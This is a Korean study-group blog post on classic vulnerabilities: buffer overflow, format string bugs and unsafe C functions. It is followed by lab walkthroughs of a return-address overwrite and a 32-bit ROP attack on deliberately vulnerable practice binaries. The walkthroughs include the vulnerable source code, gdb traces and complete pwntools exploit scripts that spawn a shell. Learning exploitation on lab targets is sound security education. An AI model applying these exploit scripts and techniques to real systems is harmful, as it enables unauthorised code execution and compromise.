[P4C] W7: 올드 스쿨 취약점과 올드 스쿨 공격 기법 공부하기
# 올드 스쿨 취약점
1) Buffer Overflow
- 개념
- 기본적인 버퍼 오버플로우 공격은 데이터의 길이에 대한 불명확한 정의를 악용한 덮어쓰기로 발생
- 경계선 관리가 적절하게 수행되어 덮어쓸 수 없는 부분에 해커가 임의의 코드를 덮어쓰는 것을 의미
- 버퍼 오버플로우에 취약한 함수와 그렇지 않은 함수가 있는데, 프로그래머가 취약한 특정 함수를 사용하지 않는다면 공격이 훨씬 어려워짐
- 발생 원인
- 하나의 프로그램은 수 많은 함수로 구성되어 있는데 프로그램을 실행하여 함수가 호출될 때, 지역 변수와 복귀주소가 스택이라 하는 논리 데이터 구조에 저장됨
- 버퍼오버플로우는 이 복귀주소가 함수가 사용하는 지역변수의 데이터에 의해 침범 당할 때 발생하게 됨
- 프로그래머가 실수로 지역변수가 할당된 크기보다 큰 크기를 입력해버리면 복귀조소가 입력한 데이터에 의해 다른 값으로 변경되는데 함수가 종료될 때 전혀 관계없는 복귀주소를 실행시키게 되어서 실행 프로그램이 비정상적으로 종료하게 됨
- 악의적인 공격자가 이러한 취약점을 알고서 데이터의 길이와 내용을 적절히 조정하여 버퍼 오버플로우를 일으켜서 특정 코드를 실행시키게하는 해킹 공격 기법을 버퍼 오버플로우 공격이라 함
- 종류
- Stack Buffer Overflow
- 스택(함수 처리를 위해 지역 및 매개변수가 위치하는 메모리 영역) 구조 상, 할당된 버퍼들이 정의된 버퍼 한계치를 넘는 경우, 복귀 주소를 변경하여 공격자가 임의 코드를 수행
- Heap Buffer Overflow
- 힙(malloc()등의 메모리 할당 함수로 사용자가 동적으로 할당하는 메모리 영역) 구조 상, 최초 정의된 힙의 메모리 사이즈를 초과하는 문자열들이 힙의 버퍼에 할당될 시, 공격자가 데이터 변경 및 함수 주소 변경으로 임의 코드를 수행
- 대응책
- 버퍼 오버플로우에 취약한 함수 사용하지 않기
- strcpy(char *dest, const char *src);
- strcat(char *dest, const char *src);
- getwd(char *buf);
- gets(char *s);
- fscanf(FILE *stream, const char *format, ...);
- scanf(const char *format, ...);
- realpath(char *path, char resolved_path[]);
- sprintf(char *str, const char *format);
- 최신 운영체제 사용: 최신 운영체제에는 non-executable stack, 스택 가드(guard), 스택 실드(shield)와 같이 운영체제 내에서 해커의 공격 코드가 실행되지 않도록 하는 여러가지 장치가 있음
- 컴파일 검사: 버퍼 오버플로우를 방지할 수 있는 고급 언어를 사용하거나 안전한 표준 라이브러리를 사용하여 코딩 표준을 따르거나, 스택 프레임(힙 영역에서 스택을 침범하지 못하게 함)의 손상을 탐지하는 기능을 탑재
2) Format String Bug
- 개념
- 포맷 스트링 버그는 취약점 공격에 사용될 수 있는 보안 취약점이며, 포매팅을 수행하는 printf()와 같은 특정한 C 함수들에서 사용자 입력을 포맷 스트링 파라미터(%d, %n...)로 사용하는 것으로부터 나옴
- +) 포맷 스트링을 사용하는 함수의 인자만 잘 검토하면 막을 수 있는 취약점으로 상대적으로 막기 쉬운편이며 최신 컴파일러에서는 포맷 스트링으로 전달되는 인자가 문자열 리터럴이 아닐 때 경고 메시지를 출력하기 때문에 잘 발생하지 않는 취약점임
- 파라미터 종류
파라미터 | 변수 형식 |
%d | 정수형 10진수 상수(int) |
%f | 실수형 상수(float) |
%lf | 실수형 상수(double) |
%c | 문자 값(char) |
%s | 문자 스트링 |
%u | 양의 정수(10진수) |
%o | 양의 정수(8진수) |
%x | 양의 정수(16진수) |
%n | * Int (쓰인 총 바이트 수) |
%hn | %n의 반인 2바이트 단위 |
- 문제점
- 예를 들어 printf 함수를 사용한다고 가정
- printf 함수는 두 가지 방법으로 사용할 수 있음
- printf(BUFFER);
- printf("FORMAT_STRING", BUFFER)
- 포맷 스트링 버그는 포맷스트링을 사용하지 않고 바로 BUFFER를 출력하는 첫번째 사용법에서 발생
- 만약 BUFFER안에 %x, %d등 포맷 스트링이 들어가면 printf함수는 그것들을 포맷스트링으로 보고 두번째 printf 사용법과 같이 동작하여 스택 메모리를 유출시킴
# 올드 스쿨 공격 기법
1) RET overwrite
[dreamhack] Exploit Tech: Return Address Overwrite
- 실습 예제
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
scanf("%s", buf);에 취약점이 존재함
입력의 길이에 제한을 두지 않기 때문에 버퍼 오버플로우 발생 가능성이 있음.
위 예제는 scanf("%s", buf);로 입력을 받기 때문에 입력을 길게 준다면 함수의 반환 주소를 덮어쓸 수 있을 것
조작해야하는 ret 위치에 break point를 걸고 A*64를 입력하니 다음과같이
main이 반환되는 시점에 입력 문자열 일부가 스택에 남아있는 것을 볼 수 있음
실행하고자하는 함수의 주소를 반환 주소자리에 적절하게 덮어쓰면 실행흐름 조작이 가능할 것임
rsp를 0x30만큼 빼서 buf에 할당해주고 있는 것을 알 수 있고 스택의 모양은 아래와 같을 것임
get_shell() 주소를 확인하니 0x4006aa임을 알 수 있음
현재 스택 프레임 상황에 맞추어 A를 48개만큼 채우고 SFP에 B를 8개 RET 자리에 get_shell의 주소를 넣어주면
페이로드 작성을 할 수 있을 것임
buf[0x30] | SFP[0x8] | RET[0x8] |
A*48 | B*8 | get_shell() |
from pwn import *
p = process("./rao")
payload ='A'*0x30 + 'B'*0x8 + '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendafter("Input: ", payload)
p.interactive()
왜 두번째에서 실행이되는 것일까...싶음
(하지만 검색해보면 많은 분들이 나처럼 실행되시는 것 같아서 get_shell의 동작을 나중에 더 봐야할 것 같다)
2) Memory write primitive
[Lazenca] Return Oriented Programming(ROP)_x86
윈도우즈 커널 공격과 방어 - RW Primitive
윈도우즈 커널 보안은 이제 많은 경우 윈도우즈에서 SYSTEM 권한을 확보하기 위한 마지막 타겟으로 많이 연구 되고 있습니다. 이번 시리즈를 통해서 최신 윈도우즈 커널의 보안 장치들에 대한 기
learn.darungrim.com
해당 글을 읽어보니 write Primitive와 관련하여 ROP공격기법이 나와 이에 대해 정리하고자 함
# ROP
- ROP는 공격자가 실행 공간 보호(NX bit) 및 코드 서명 (Code signing)과 같은 보안 방어가 있는 상태에서 코드를 실행할 수 있게 해주는 기술 (RTL+ Gadgets)
- 이 기법에서 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, "가젯 (Gadgets)"이라고 하는 해당 프로그램이 사용하는 메모리에 있는 기계 명령어가 필요
>각 가젯은 일반적으로 반환 명령어 (ret)로 끝이나며, 기존 프로그램 또는 공유 라이브러리 코드 내의
서브 루틴에 있음
> 가젯과 취약성을 사용하면 공격자가 임의의 작업을 수행할 수 있음
# 1 Gadgets - POP; POP; POP; RET;
- ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets를 이용해 공격에 필요한 코드를 프로그래밍하는 것
![](https://blog.kakaocdn.net/dn/daz9aP/btrDYqfjMKD/wgza92d6OrCFZFT9AgXDwK/img.png)
- ROP structure
- 여러 개의 함수를 호출하기 위해 사용되는 것이 Gadgets이며, 기본적으로 다음과 같은 Gadgets이 사용됨
- 호출하는 함수의 인자가 3개일 경우: "POP; POP; POP; ret"
- 호출하는 함수의 인자가 2개일 경우: "POP; POP; ret"
- 호출하는 함수의 인자가 1개일 경우: "POP; ret"
- 호출하는 함수의 인자가 없을 경우: "ret"
- 해당 Gadgets들의 역할은 ESP 레지스터의 값을 증가시키는 것임
- RTL에 의해 호출되는 함수에 전달되는 인자 값이 저장된 영역을 지나 다음 함수가 호출될 수 있도록 하는 것
- x86 바이너리에서는 pop 명령어의 피연산자 값은 중요하지 않음
Stack Address
|
Value
|
Explanation
|
0xffffd57c
|
Read function address of libc
|
Function Return Address |
0xffffd580
|
Address of gadgets(pop;pop;pop;ret)
|
|
0xffffd584
|
First argument value
|
|
0xffffd588
|
Second argument value
|
|
0xffffd58C
|
Third argument value
|
|
0xffffd590
|
System function address of libc
|
|
0xffffd594
|
The address to return to after calling the system function
|
|
0xffffd598
|
First argument value
|
|
- 다음과 같은 방법으로 여러 개의 함수를 연속해서 실행할 수 있음
- RTL에서 호출할 함수 (주소 값이 저장된)의 다음 영역은 해당 함수가 종료된 후 이동할 Return Address 영역
- 해당 영역에 Gadgets의 주소를 저장함으로써 연속해서 다음 함수가 호출될 수 있음
- 위의 예제는 read() 함수 호출 후 System() 함수를 호출하게 됨
# 2 PLT & GOT
- 프로시저 링키지 테이블 (PLT, Procedure linkage table)에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있음
> 해당 정보들은 ".plt" 섹션에 저장되어 있음
- 전역 오프셋 테이블 (GOT, Global offset table)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됨
> 이 정보들은 ".got.plt" 섹션에 저장됨
> 이 섹션은 공격자들의 공격 대상이 되며, 주로 힙, ".bss" Exploit에 의해 포인터 값을 변조함
- ROP에서는 해당 정보들을 유용하게 활용할 수 있음
# 2.1 Debug
- PLT & GOT 영역의 내용 및 값의 변경을 확인할 수 있음
- read()
Breakpoint 1, 0x0804844f in vuln ()
gdb-peda$ x/i $eip
=> 0x804844f <vuln+20>: call 0x8048300 <read@plt>
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0
read@plt = 0x8048300
read@got = 0x804a00c
gdb-peda$ x/3i 0x8048300
0x8048300 <read@plt>: jmp DWORD PTR ds:0x804a00c
0x8048306 <read@plt+6>: push 0x0
0x804830b <read@plt+11>: jmp 0x80482f0
gdb-peda$ x/wx 0x804a00c
0x804a00c: 0x08048306
gdb-peda$ x/3i 0x80482f0
0x80482f0: push DWORD PTR ds:0x804a004
0x80482f6: jmp DWORD PTR ds:0x804a008
0x80482fc: add BYTE PTR [eax],al
gdb-peda$ x/wx 0x804a008
0x804a008: 0xb7ff0000
gdb-peda$ x/3i 0xb7ff0000
0xb7ff0000 <_dl_runtime_resolve>: push eax
0xb7ff0001 <_dl_runtime_resolve+1>: push ecx
0xb7ff0002 <_dl_runtime_resolve+2>: push edx
gdb-peda$ ni
AAAA
0x08048454 in vuln ()
gdb-peda$ x/wx 0x804a00c
0x804a00c: 0xb7edeb00
gdb-peda$ x/i 0xb7edeb00
0xb7edeb00 <read>: cmp DWORD PTR gs:0xc,0x0
gdb-peda$ p read
$1 = {<text variable, no debug info>} 0xb7edeb00 <read>
gdb-peda$
- read() 함수가 처음으로 호출되기 전 break point 설정
- read 함수의 plt, got 영역의 주소는 다음과 같음
- .plt: 0x8048300
- .got.plt: 0x804a00c
- read@plt 영역에는 libc에서 read() 함수를 호출하기 위한 코드가 저장되어 있음
- read@plt의 코드는 다음과 같이 동작
- read@got(0x804a00c) 영역에 저장된 주소로 이동
- read@got(0x804a00c) 영역에는 <read@plt+6>(0x8048306)영역의 주소가 저장되어 있음 → 이는 해당 프로그램에서read() 함수가 한 번도 호출되지 않았기 때문
- <read@plt+11>의 "jmp 0x80482f0" 코드에 의해 _dl_runtime_resolve() 함수를 호출 → 해당 함수는 libc에서 찾고자하는 함수(read)의 주소를 .got.plt 영역에 저장함
- read() 함수가 호출된 후 read@got(0x804a00c)영역에는 libc read() 함수 주소가 저장되어 있음
# 3. Proof of concept
# 3.1 Example code
- rop.c
#include <stdio.h>
#include <unistd.h>
void vuln(){
char buf[50];
read(0, buf, 256);
}
void main(){
write(1,"Hello ROP\n",10);
vuln();
}
# 3.2 Build
gcc -m32 -fno-stack-protector -o rop rop.c
# 3.3 Overflow
![](https://blog.kakaocdn.net/dn/cA4laL/btrDYLEzF9T/t71fyzrnuAK80ujsxq6k90/img.png)
- breakpoints 설정
- 0x804843b : vuln 함수 코드 첫부분
- 0x804844f : read() 함수 호출 전
![](https://blog.kakaocdn.net/dn/Y9Gyz/btrDYd2mHve/CfWmtE5jIUcWP1OxTcnskK/img.png)
![](https://blog.kakaocdn.net/dn/raEVt/btrDWKZEnUf/veZh1LDeo7IvsFnr13SarK/img.png)
return address: 0xffffd03c
![](https://blog.kakaocdn.net/dn/biQJuF/btrDYKyQYyd/I4mTExvwkTrqBgaqNACQEK/img.png)
![](https://blog.kakaocdn.net/dn/dBOSm5/btrD3Rcedv6/i64l0KgxWHyivT8HvbMLv0/img.png)
buf 변수의 시작 주소: 0xffffcffe
return address - buf의 시작 주소 = 62
즉, 62개 이상의 문자를 입력함으로써 return address를 덮어쓸 수 있음
# 4. Exploit method
- ROP 기법을 이용한 Exploit의 순서
① read 함수를 이용해 "/bin/sh" 명령을 쓰기 가능한 메모리 영역에 저장
② write 함수를 이용해 read 함수의 .got 영역에 저장된 값을 출력
③ read 함수를 이용해 read 함수의 .got 영역에 system 함수의 주소를 덮어씀
④ read 함수 호출 - read .got 영역에 system 함수의 주소가 저장되어 있기 때문에 system 함수가 호출됨
- ROP code
read(0,writableArea,len(str(binsh)))
write(1,read_got,len(str(read_got)))
read(0,read_got,len(str(read_got)))
system(writableArea)
- payload 작성을 위해 알아야 할 정보
① "/bin/sh"명령을 저장할 수 있는 쓰기 가능한 메모리 공간
② read(), write() 함수의 plt, got
③ system() 함수의 주소
④ pop,pop,pop,ret 가젯의 위치
# 4.1 Finding a writable memory space
- 다음과 같이 쓰기 가능한 영역을 확인할 수 있음
![](https://blog.kakaocdn.net/dn/35Tx3/btrD0s5zXy9/SjUxGep9ypOuOc7jnjDdj0/img.png)
해당 바이너리 0804a000 ~ 0804b000 영역에 쓰기 권한이 부여되어 있음
- sections
![](https://blog.kakaocdn.net/dn/ExVB3/btrDXoJSdoj/qajWmcr9MtG1sXHxHVclK0/img.png)
![](https://blog.kakaocdn.net/dn/dieHH0/btrDZvanteg/30SSlZ9WRBKiCJQxgmkDR0/img.png)
- Writeable section
Sections Name
|
Memory address
|
Size
|
.got.plt
|
0x0804a000
|
0x18
|
.data
|
0x0804a018
|
0x8
|
.bss
|
0x0804a020
|
0x4
|
# 4.2 Find gadget
- rp ++
![](https://blog.kakaocdn.net/dn/D2XkZ/btrD2HHHMfv/eZzcnzYussFMJp4BqEOyqk/img.png)
# 4.3 Find plt, got address - read, write
- peda의 elfsymbol기능을 사용할 수 없어 아래와 같은 python 실행파일을 만들어 줌
rop.py
from pwn import *
e = ELF("./rop")
print("read@plt : " + str(hex(e.plt["read"])))
print("read@got : " + str(hex(e.got["read"])))
print("write@plt : " + str(hex(e.plt["write"])))
print("write@got : " + str(hex(e.got["write"])))
![](https://blog.kakaocdn.net/dn/dNRjKv/btrDZuWPZyJ/k3RJ3s9MX6wJsA2w9g7O81/img.png)
- read
- .plt: 0x8048300
- .got: 0x804a00c
- write
- .plt: 0x8048320
- .got: 0x804a014
# 4.4 Find the address of the system() function
- system 함수의 address, offset을 확인할 수 있음
![](https://blog.kakaocdn.net/dn/bHtoSC/btrDXnc4VLT/CDdvLgyh7YYWIiIbsk7B91/img.png)
- system function address: 0xf7ed8c20
- system function과 read function의 offset: 0x9ae70
# 5 Exploit code
- exploit-1.py
from pwn import *
from struct import *
#context.log_level = 'debug'
binsh = "/bin/sh"
stdin = 0
stdout = 1
read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014
read_system_offset = 0x9ae70
writableArea = 0x0804a020 #.bss
pppr = 0x080484e9 #pop pop pop ret
payload = "A"*62
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
r = process('./rop')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
[실행결과]
![](https://blog.kakaocdn.net/dn/GiH9Z/btrD1gYae9N/NfiKzl8laBUYzygLkKWlW0/img.png)
- exploit-2.py : Pwntools에서 제공하는 ROP 기능을 이용해 조금 더 편하게 ROP 코드를 작성할 수 있음
from pwn import *
from struct import *
#context.log_level = 'debug'
binsh = "/bin/sh"
binary = ELF('./rop')
#64bit OS
libc = ELF("/lib32/libc-2.23.so")
rop = ROP(binary)
print binary.checksec()
read_plt = binary.plt['read']
read_got = binary.got['read']
write_plt = binary.plt['write']
write_got = binary.got['write']
read_system_offset = libc.symbols['read'] - libc.symbols['system']
writableArea = 0x0804a020
#Address info
log.info("read@plt : " + str(hex(read_plt)))
log.info("read@got : " + str(hex(read_got)))
log.info("write@plt : " + str(hex(write_plt)))
log.info("write@got : " + str(hex(write_got)))
log.info("read system offset : " + str(hex(read_system_offset)))
log.info("Writeable area : " + str(writableArea))
#ROP Code
rop.read(0,writableArea,len(str(binsh)))
rop.write(1,read_got,4)
rop.read(0,read_got,len(str(read_got)))
rop.raw(read_plt)
rop.raw(0xaaaabbbb)
rop.raw(writableArea)
payload = "A"*62 + str(rop)
#Run
r = process("./rop")
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4))
system_addr = read - read_system_offset
rop = ROP(binary)
rop.raw(system_addr)
r.send(str(rop))
r.interactive()
[실행결과]
![](https://blog.kakaocdn.net/dn/bgpiRM/btrD0rMmJOh/VMkjSS0HL8bIxRcRysCLC0/img.png)
'etc... > 빡공팟(P4C) 4기' 카테고리의 다른 글
[P4C] W8: Out of bounds & R/W primitives 취약점 공부하기 (0) | 2022.06.12 |
---|---|
[P4C] W6: Double Linked List CRUD 구현, 어셈블리로 구구단 구현, Stack 개념 공부하기 (0) | 2022.05.29 |
[P4C] W4-W5: C언어로 HTTP 서버 구현 (0) | 2022.05.21 |
[P4C] W3: 코드업 기초 100제 70번 대 이후 문제들 중 가장 어려웠던 10문제 write-up 작성하기 (0) | 2022.05.08 |
[P4C] W2: 코드업 기초 100제 70번 이하 문제들 중 가장 어려웠던 5문제 write-up 작성하기 (0) | 2022.04.29 |